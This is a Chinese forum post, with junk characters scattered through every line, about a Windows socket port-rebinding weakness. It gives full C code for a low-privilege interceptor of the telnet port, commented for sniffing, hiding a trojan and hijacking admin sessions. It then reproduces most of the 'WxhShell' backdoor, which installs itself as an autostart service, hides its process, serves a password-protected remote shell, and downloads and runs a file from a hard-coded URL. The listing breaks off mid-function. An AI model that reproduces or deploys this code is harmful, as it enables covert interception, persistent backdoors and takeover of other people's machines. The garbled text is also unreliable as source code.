社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16461阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s k>E(Myo  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kaG@T,pH(  
sCrOdJ6|  
  saddr.sin_family = AF_INET; yzH[~O7  
D.;iz>_}Y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "> ]{t[Ib  
\.l8]LH  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?BA~$|lfxu  
IMT]!j&Y,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |08'd5  
p~bx  
  这意味着什么?意味着可以进行如下的攻击: O*dtVX  
@SX-=Nr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m6 V L  
E/5/5'gBJO  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) eWw# T^  
;GF+0~5>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 o1^Rx5  
$AyE6j_1gX  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  b>]MZhLJe  
K@R * V  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G.l ~!;  
xk\n F0z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 N:% }KAc  
\:Vm7Zg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M4rK  
q1_iV.G<  
  #include WH^^.^(i  
  #include +> Xe_  
  #include 2^f6@;=M  
  #include    *{fL t  
  DWORD WINAPI ClientThread(LPVOID lpParam);   JK=0juv<E  
  int main() L,7+26XV"B  
  { o >Faq+@  
  WORD wVersionRequested; s"-gnW  
  DWORD ret; mLb>*xt$b@  
  WSADATA wsaData; MIx,#]C&  
  BOOL val; ziXZJ^(FI  
  SOCKADDR_IN saddr; Y)*:'&~2e  
  SOCKADDR_IN scaddr; X Z4q{^o  
  int err; 7^<{aE:  
  SOCKET s; Nay&cOz  
  SOCKET sc; S:YQVj  
  int caddsize; dHO8 bYBH  
  HANDLE mt; .sBwJZ  
  DWORD tid;   W^8MsdM  
  wVersionRequested = MAKEWORD( 2, 2 ); ^=.QQo||B  
  err = WSAStartup( wVersionRequested, &wsaData ); 8%Eemk>G{  
  if ( err != 0 ) { bZf}m=C!  
  printf("error!WSAStartup failed!\n"); W^"C|4G}  
  return -1; 1wTPT,k  
  } u !@(u!Qz  
  saddr.sin_family = AF_INET; yq<mE(hS?  
   J)n^b  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n~Qo@%Jr  
UY~N4IR8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t4[<N  
  saddr.sin_port = htons(23); NDYm7X*et  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \\iX9-aI<  
  { @0[#XA_>  
  printf("error!socket failed!\n"); J<h! H  
  return -1; /c|X:F!;X#  
  } RTQtXv6mD  
  val = TRUE; 5!jU i9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3Q:HzqG  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9ymx;  
  { W\1V`\gF  
  printf("error!setsockopt failed!\n"); 2uT"LW/(H  
  return -1; 8D:0Vhx\I  
  } D4IP$pAD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; oUNuM%g9Dy  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Dhze2q)o  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ra)AQ n  
_/[}PQC6G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,qu7XFYrY  
  { z;Yo76P  
  ret=GetLastError(); L{F[>^1Sb  
  printf("error!bind failed!\n"); 155vY  
  return -1; F!qt=)V@w  
  } o8c5~fG1  
  listen(s,2); /{%p%Q[X  
  while(1) A(}D76o_  
  { IlfH  
  caddsize = sizeof(scaddr); k^ Qd%;bdF  
  //接受连接请求 yBkcYHT  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6R'z3[K9  
  if(sc!=INVALID_SOCKET) kkU#0p?7  
  { kA4bv}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); r(OH  
  if(mt==NULL) CAbR+ y  
  { vp&N)t_  
  printf("Thread Creat Failed!\n"); PUbfQg  
  break; U%V4@iz~\m  
  } FT[of(g^  
  } opfg %*  
  CloseHandle(mt); kps}i~Jb  
  } |YcYWok  
  closesocket(s); ?X^.2+]*&  
  WSACleanup(); i#K Y'"P  
  return 0; ]Il}ymkIZ  
  }   8/"R&yAh  
  DWORD WINAPI ClientThread(LPVOID lpParam) WbJ  
  { (MzThGJK_  
  SOCKET ss = (SOCKET)lpParam; 7!PU}[:  
  SOCKET sc; +. tcEbFL  
  unsigned char buf[4096]; 5a%i%+;N  
  SOCKADDR_IN saddr; ]QSQr *  
  long num; ap wA  
  DWORD val; +N2R'Phv  
  DWORD ret; g+%Pg@[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Nz;f| 2h  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L2> )HG  
  saddr.sin_family = AF_INET; ]=G  dAW  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w:h([q4X  
  saddr.sin_port = htons(23); MHQM'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZfVw33z  
  { OfPv'rW{x  
  printf("error!socket failed!\n"); u3C0!{v  
  return -1; o-+H-  
  } AB=Wj*f r  
  val = 100; RgSB?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2Kz407|'  
  { .1F41UyL  
  ret = GetLastError(); ^KUM4. 6  
  return -1; &Pe[kCO]  
  } R/P9=yvg0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EYR%u'&7'  
  { bltZQI|  
  ret = GetLastError(); k2:mIp\  
  return -1; OLE@35"v]  
  } ;T3}#Q*qC  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r1a/'+   
  { S N ;1F  
  printf("error!socket connect failed!\n"); vl>_;} W7  
  closesocket(sc); oD 3Q{ e  
  closesocket(ss); ZmaGp* Wj  
  return -1; yC\!6pg  
  } C:ntr=3J  
  while(1) so_^%) gdJ  
  { @r]1;KG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1xjw=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 nJR(lXWO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u85?f  
  num = recv(ss,buf,4096,0); f"Kl? IN8  
  if(num>0) mk[<=k~  
  send(sc,buf,num,0); ZO& F15$P  
  else if(num==0) PMZ*ECIJU  
  break; H+npe'm_Z  
  num = recv(sc,buf,4096,0); 8I<LZ{a10  
  if(num>0) % |G"ZPO?  
  send(ss,buf,num,0); T854}RX[{  
  else if(num==0) IeAUVR S)  
  break; FF~VV<a  
  } \me-#: Gu  
  closesocket(ss); =~q Xzq  
  closesocket(sc); 17[vq!x6  
  return 0 ; :Fdk`aC  
  } d(F4-kBd  
:~\ y<  
p!7(a yu  
========================================================== S4D~`"4 $/  
N{?Qkkgx  
下边附上一个代码,,WXhSHELL ,U=7#Cf!  
VWW(=j  
========================================================== O#`y;%  
jBU!xCO  
#include "stdafx.h" e_dsBmTh  
pykRi#[UrX  
#include <stdio.h> nmoC(| r  
#include <string.h> `o6T)49  
#include <windows.h> q(Zu;ecBN  
#include <winsock2.h> xbs X-F  
#include <winsvc.h> 7l3Dx w/N  
#include <urlmon.h> D)bR-a_^  
3yu,qb'"&  
#pragma comment (lib, "Ws2_32.lib") `3L?x8g  
#pragma comment (lib, "urlmon.lib") iCdq-r/r!6  
Z4{~  
#define MAX_USER   100 // 最大客户端连接数 :tp{(MF  
#define BUF_SOCK   200 // sock buffer %:Y'+!bX  
#define KEY_BUFF   255 // 输入 buffer [cT7Iqip  
`g'z6~c7n  
#define REBOOT     0   // 重启 [Y8ot-6  
#define SHUTDOWN   1   // 关机 G&#l3bkQ  
|3=tF"h  
#define DEF_PORT   5000 // 监听端口 UB7C,:"  
Xagz(tm/  
#define REG_LEN     16   // 注册表键长度 VV"1IR  
#define SVC_LEN     80   // NT服务名长度 |V mQ  
J-W8wCq`  
// 从dll定义API D`NQEt"(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dwz {Yw(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); crU]P $a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YiC_,8A~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a3^({;k!0  
.1h1J  
// wxhshell配置信息 X_#,5t=7  
struct WSCFG { "2GssBa  
  int ws_port;         // 监听端口 pF7S("#R  
  char ws_passstr[REG_LEN]; // 口令  &W? hCr  
  int ws_autoins;       // 安装标记, 1=yes 0=no J" U!j  
  char ws_regname[REG_LEN]; // 注册表键名 o_?A^u  
  char ws_svcname[REG_LEN]; // 服务名 2$1D+(5;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0]2@T=*kTY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *7K)J8kq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jo ~p#l.'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H~~>ut6`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ::!{f+Up  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &u0on) E  
s3oQ( wC %  
}; g/OL ^A  
i~.9 B7hdE  
// default Wxhshell configuration XZ_vbYTj  
struct WSCFG wscfg={DEF_PORT, Jl{g"N{2u'  
    "xuhuanlingzhe", e'&<DE)  
    1, Pql;5 ~/  
    "Wxhshell", 7-[^0qS  
    "Wxhshell", U&L?IT=x  
            "WxhShell Service", UE K$  
    "Wrsky Windows CmdShell Service", @mu=7_$U  
    "Please Input Your Password: ", D]hwG0Chd  
  1, ItwJL`  
  "http://www.wrsky.com/wxhshell.exe", )k&!&  
  "Wxhshell.exe" dPyZzMes=  
    }; G$CI~0Se:  
C%;J9(r  
// 消息定义模块 ' O d_:]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6" |+\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Fes /8*-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HsAKz]Mq  
char *msg_ws_ext="\n\rExit."; k>!A~gfP~  
char *msg_ws_end="\n\rQuit."; A IsXu"  
char *msg_ws_boot="\n\rReboot..."; (zhi/>suG  
char *msg_ws_poff="\n\rShutdown..."; u;=a=>05IR  
char *msg_ws_down="\n\rSave to "; _A=Pr _kN  
|Whkq/Zg  
char *msg_ws_err="\n\rErr!"; !T1)tGrH  
char *msg_ws_ok="\n\rOK!"; !z?;L_Lb  
A9ru]|?  
char ExeFile[MAX_PATH]; %<;PEQQ|C  
int nUser = 0; _2nNCu (  
HANDLE handles[MAX_USER]; }yMA s  
int OsIsNt; n]snD1?KX  
8? &!@3n  
SERVICE_STATUS       serviceStatus; N.|uPq$R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZqJyuTPv  
{{Z3M>Q  
// 函数声明 _sC kBDl-  
int Install(void); "oo j;  
int Uninstall(void); 5)<}a&;{  
int DownloadFile(char *sURL, SOCKET wsh); {%XDr,myd  
int Boot(int flag); j$}W%ibj  
void HideProc(void); dnstm@0k  
int GetOsVer(void);  ~ A4_  
int Wxhshell(SOCKET wsl); #~:@H&f790  
void TalkWithClient(void *cs); o :_'R5  
int CmdShell(SOCKET sock); m>LC2S; f  
int StartFromService(void); [qQ~\]  
int StartWxhshell(LPSTR lpCmdLine); <wO8=bem  
cA25FD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LV$`bZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F;<cG `|Rx  
4%,E;fB?=  
// 数据结构和表定义 cj9<!"6  
SERVICE_TABLE_ENTRY DispatchTable[] = FdM xw*}  
{ )L%[(iI,x  
{wscfg.ws_svcname, NTServiceMain}, ^HI}bS1+|  
{NULL, NULL} wsyAq'%L  
}; ewp&QH4  
VXIB9 /*i  
// 自我安装 i8> ^{GODR  
int Install(void) A#8Dv&$Pr  
{ w[?E oFI$Y  
  char svExeFile[MAX_PATH]; ahx*Ti/e  
  HKEY key; a^.5cJ$]  
  strcpy(svExeFile,ExeFile); f)%8*B  
TaE&8;H#N  
// 如果是win9x系统,修改注册表设为自启动 I-o |~  
if(!OsIsNt) { -KFozwr5/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zIh`Vw,t0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m{ C  
  RegCloseKey(key); x /xd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9ZXEy }q57  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o+ 0"@B  
  RegCloseKey(key); H?W8_XiN  
  return 0; +6+!M_0wA  
    } _!?iiO  
  } =U_O;NC  
} }='1<~0  
else { >Mc,c(CvU  
"I)`g y&  
// 如果是NT以上系统,安装为系统服务 MPF;P&6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,pMH`  
if (schSCManager!=0) |)IS[:X  
{ 2'5%EQW;0y  
  SC_HANDLE schService = CreateService 8sGaq [  
  ( *:hHlH* t1  
  schSCManager, .Pi8c[  
  wscfg.ws_svcname, k\`~v$R3  
  wscfg.ws_svcdisp, YQ#o3 sjs  
  SERVICE_ALL_ACCESS, sQ>L3F;A`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~ (/OB w  
  SERVICE_AUTO_START, S6bW?8`  
  SERVICE_ERROR_NORMAL, ?Z[`sm  
  svExeFile, >{huaN B  
  NULL, QocR)aN=+  
  NULL, Qg' {RAV8  
  NULL, 2fv`O  
  NULL, 0N(o)WRv  
  NULL (_'Efpg|  
  ); si.w1  
  if (schService!=0) #gd`X|<Ch  
  { KG8Km  
  CloseServiceHandle(schService); =TG[isC/F9  
  CloseServiceHandle(schSCManager);  (zL(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }[m,HA<j  
  strcat(svExeFile,wscfg.ws_svcname); tNbZ{=I>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O0Sk?uJ <  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^P !} "  
  RegCloseKey(key); K|g+W t^tQ  
  return 0; fkmN?CU{1%  
    } 5$.e5y<&(  
  } i $:QOMA  
  CloseServiceHandle(schSCManager); ;R8pVj!1f  
} "de3S bj@?  
} ofIw7D*h  
wtpz ef=  
return 1; jizp\%W+  
} B+8B<xZ  
>p|tIST  
// 自我卸载 % A8dO+W  
int Uninstall(void) /3ty*LQT  
{ B6gn(w3  
  HKEY key; pwG"_|h  
vRn"0Mzl8  
if(!OsIsNt) { ^B`*4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FyV)Nmc%t  
  RegDeleteValue(key,wscfg.ws_regname); WfF~\DlrD  
  RegCloseKey(key); pNIu;1M5a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N);2 2-  
  RegDeleteValue(key,wscfg.ws_regname); N|53|H  
  RegCloseKey(key); xvx+a0 A  
  return 0; (^4V]N&  
  } heN?lmC  
} ueD_<KjE=  
} 4itadQS  
else { zEYT,l  
?z$^4u3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IGC:zZ~z  
if (schSCManager!=0) J;AwC>N  
{ N,M[Opm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LWp#i8,  
  if (schService!=0) 0v/}W(  
  { z1R_a=7  
  if(DeleteService(schService)!=0) { PH]/*LEj  
  CloseServiceHandle(schService); XFv)]_G  
  CloseServiceHandle(schSCManager); ,q|;`?R;  
  return 0; ) ir*\<6Y=  
  } WQ>y;fi5/{  
  CloseServiceHandle(schService); U 3UDA  
  } \2Atm,#4  
  CloseServiceHandle(schSCManager); v@^P4cu;  
} ? f\ ~:Gm/  
} "q,.O5q}Y  
F&= X/  
return 1; ;:5Ahfo \  
} O h{ >xg  
]6BV`r]  
// 从指定url下载文件 VQ,;~^Td  
int DownloadFile(char *sURL, SOCKET wsh) 8n1<nS<  
{ Pv3rDQ/Yt|  
  HRESULT hr; lI"~*"c`  
char seps[]= "/"; 2LqJ.HH  
char *token; B !}/4"  
char *file; oFC]L1HN&  
char myURL[MAX_PATH]; :,'yHVG\  
char myFILE[MAX_PATH]; H;.${u^lhd  
n 9X:s?B/  
strcpy(myURL,sURL); HJ]9e  
  token=strtok(myURL,seps); U6/$CH<pe  
  while(token!=NULL) #o/  
  { Z>)M{25  
    file=token; $pLJtQ  
  token=strtok(NULL,seps); z:7 i@m  
  } e!hy,O{Pw  
o$%I{}9x  
GetCurrentDirectory(MAX_PATH,myFILE); P/e6b .M  
strcat(myFILE, "\\"); gXP)YN  
strcat(myFILE, file); aR0'$*3E  
  send(wsh,myFILE,strlen(myFILE),0); M8p6f)l3  
send(wsh,"...",3,0); Y;dQLZ CC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z| f~   
  if(hr==S_OK) '1r<g\ l  
return 0; +IkL=/';#  
else )] C"r_  
return 1; io1hUZ  
]b6gZ<  
} }S_#*N)i  
zY^QZceq"  
// 系统电源模块 X]T&kdQ6q  
int Boot(int flag) s`63 y&Z[  
{ |h6u%t2AY  
  HANDLE hToken; \lBY4j+;  
  TOKEN_PRIVILEGES tkp; ]XS[\qo  
 3 UX/  
  if(OsIsNt) { 4?2$~\ x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }3DZ`8u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); abgA Ug)  
    tkp.PrivilegeCount = 1; /nas~{B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r;C BA'Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W~i599!v  
if(flag==REBOOT) { $ctpg9 7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1X,\:F.-+  
  return 0; 6Ex 16  
} ,}jey72/k  
else { IB%Hv]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RAUD8Z  
  return 0; ~M?^T$5  
} x3L0;:Fx8P  
  } .2v)x  
  else { VTIRkC wl@  
if(flag==REBOOT) { IL&;2%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oT}-i [=}  
  return 0; wk[4Qsk<  
} hqwDlapTt  
else { ?Fp2W+M j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?Zv>4+Y'  
  return 0; ["7]EW\!:  
} X7Z=@d(  
} lV ra&5  
p/WE[8U  
return 1; N*NGC!p`N  
} $z[r (a^a  
kX8Ey  
// win9x进程隐藏模块 L+N;mI8  
void HideProc(void) uJ9 hU`h  
{ 4ynGXJmMlR  
U6K!FOND  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h( MNH6 B1  
  if ( hKernel != NULL ) `\Ye:$q  
  { ]~d!<x#+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l1uv]t <  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $_orxu0W  
    FreeLibrary(hKernel); O Zn40"`  
  } l`(pV ;{W  
<<~swN  
return; &++tp5  
} >V|KS(}s  
D wtvtglqV  
// 获取操作系统版本 q2}6lf,J K  
int GetOsVer(void) [Zj6v a  
{ ^nGKuW7\  
  OSVERSIONINFO winfo; GX,)~Syw*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v~`'!N8  
  GetVersionEx(&winfo); Qt(4N!j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =Eb4Iyz  
  return 1; & T&>4I!'M  
  else g), t  
  return 0; PGNH<E)  
} |:)ARH6l#  
{T'M4y=)i  
// 客户端句柄模块 _<m yM2z  
int Wxhshell(SOCKET wsl) yDmx)^En  
{ \l71Q/y6u`  
  SOCKET wsh; Q=n2frW(T  
  struct sockaddr_in client;  Lxqv  
  DWORD myID; K1_#Jhz  
v FWg0 $,  
  while(nUser<MAX_USER) ]!'9Y}9a  
{ 7j~}M(s"  
  int nSize=sizeof(client); &{z RuF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (>M? iB  
  if(wsh==INVALID_SOCKET) return 1; R!y`p:O C  
ka?EXF:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KbM1b  
if(handles[nUser]==0) u.9syr  
  closesocket(wsh); "*JyNwf  
else i=AQ1X\s  
  nUser++; a*bAf'=  
  } =QJI_veUG`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fA" VLQE  
-v &  
  return 0; |@Sj:^cJD  
} l0nm>ps'D  
_,bDv`>Ra  
// 关闭 socket U])$#/ v  
void CloseIt(SOCKET wsh) `w K6B5>  
{ klxNGxWAX  
closesocket(wsh); MR}h}JEx0  
nUser--; cVuT|b^  
ExitThread(0); 9`Zwa_Tni  
} :>3/*"vx?G  
*EllE+M{n  
// 客户端请求句柄 r31)Ed$  
void TalkWithClient(void *cs) ~tB#Q6`nB  
{ ~d"9?K^#  
kmur={IR  
  SOCKET wsh=(SOCKET)cs; @;`d\lQ  
  char pwd[SVC_LEN]; "U o~fJ  
  char cmd[KEY_BUFF]; BVe c  
char chr[1]; Pt\GVWi_t  
int i,j; -a`P W  
&[qJ=HMm I  
  while (nUser < MAX_USER) { tr@)zM GB  
4"d'iY  
if(wscfg.ws_passstr) { j:P(,M[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @G?R (  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DTo P|P  
  //ZeroMemory(pwd,KEY_BUFF); 2 i97  
      i=0; <}('w/  
  while(i<SVC_LEN) { b/6!>qMMk%  
#iVr @|,  
  // 设置超时 ePscSMx&  
  fd_set FdRead; v0u, :eZ4  
  struct timeval TimeOut; UJ7{FN=@t  
  FD_ZERO(&FdRead); |DkK7gw  
  FD_SET(wsh,&FdRead); M&J$9X  
  TimeOut.tv_sec=8; 'h3yxf}\  
  TimeOut.tv_usec=0; ?~=5 x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H C(7,3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <Wa7$hF  
\Y^GA;AMQQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BI:O?!:9)  
  pwd=chr[0]; ?cKe~Q?3  
  if(chr[0]==0xd || chr[0]==0xa) { m,^UD{  
  pwd=0; X-j3=8wPM  
  break; @ @"abhT  
  } JL!:`#\  
  i++; (g3@3.Kk)  
    } 5j>olz=n}  
f(E[jwy  
  // 如果是非法用户,关闭 socket &@fW6},iW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xFp?+a  
} 8[L]w^  
q"Th\? }%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H{ I,m-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y[. f`Ei2  
o|Kd\<rY  
while(1) { bA02)?L  
\%Lj !\  
  ZeroMemory(cmd,KEY_BUFF); @YHt[>*S  
DsCbMs=Y  
      // 自动支持客户端 telnet标准   tJ9gwx7Pg  
  j=0; `9mc+  
  while(j<KEY_BUFF) { 3_N1y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k~IRds@G  
  cmd[j]=chr[0]; [Y-3C47  
  if(chr[0]==0xa || chr[0]==0xd) { Z}yd` 7  
  cmd[j]=0; St;@ZV  
  break; (o518fmR  
  } Wp(Rw4j  
  j++; gPcOm b  
    } gVI T6"/  
vpz l{  
  // 下载文件 e`bP=7`0  
  if(strstr(cmd,"http://")) { ~*hCTqH vN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j5MUP&/g3  
  if(DownloadFile(cmd,wsh)) t`pbEjE0K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZDbzH=[  
  else rj/1AK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z=9gok\  
  } &}!AjA)  
  else { SlI wLv^  
2U& +K2  
    switch(cmd[0]) { K:b^@>XH  
  #+(@i|!ifo  
  // 帮助 N ,nvAM  
  case '?': { 6[\1Nzy>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \JDxN  
    break; $%.,=~W7  
  } L7nW_  
  // 安装 BE)&.}l  
  case 'i': { MN[D)RKh;  
    if(Install())  & {=}U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &?Z<"+B8S  
    else to(lE2`.da  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q+{yv  
    break; [E)&dl_k  
    } ~WKWx.ul  
  // 卸载 Q& S 7_  
  case 'r': { ]e(\<R6Gf  
    if(Uninstall()) <$Dj ags,F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FYIz_GTk  
    else (g0U v.*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {=6CL'_  
    break; Qq3>Xv <  
    } fU|4^p)  
  // 显示 wxhshell 所在路径 9e;8"rJ?C  
  case 'p': { iHeu<3O  
    char svExeFile[MAX_PATH]; :;KQ]<  
    strcpy(svExeFile,"\n\r"); wQ?Z y;/S  
      strcat(svExeFile,ExeFile); }fL ]}&  
        send(wsh,svExeFile,strlen(svExeFile),0); uTNy{RBD+  
    break; ufo\p=pGG  
    } &Xi] 0\M)  
  // 重启 lm|s%  
  case 'b': { m'WGK`WIm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BFZ\\rN`  
    if(Boot(REBOOT)) ?I"FmJ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?KG4Z  
    else { ]-jaIvM  
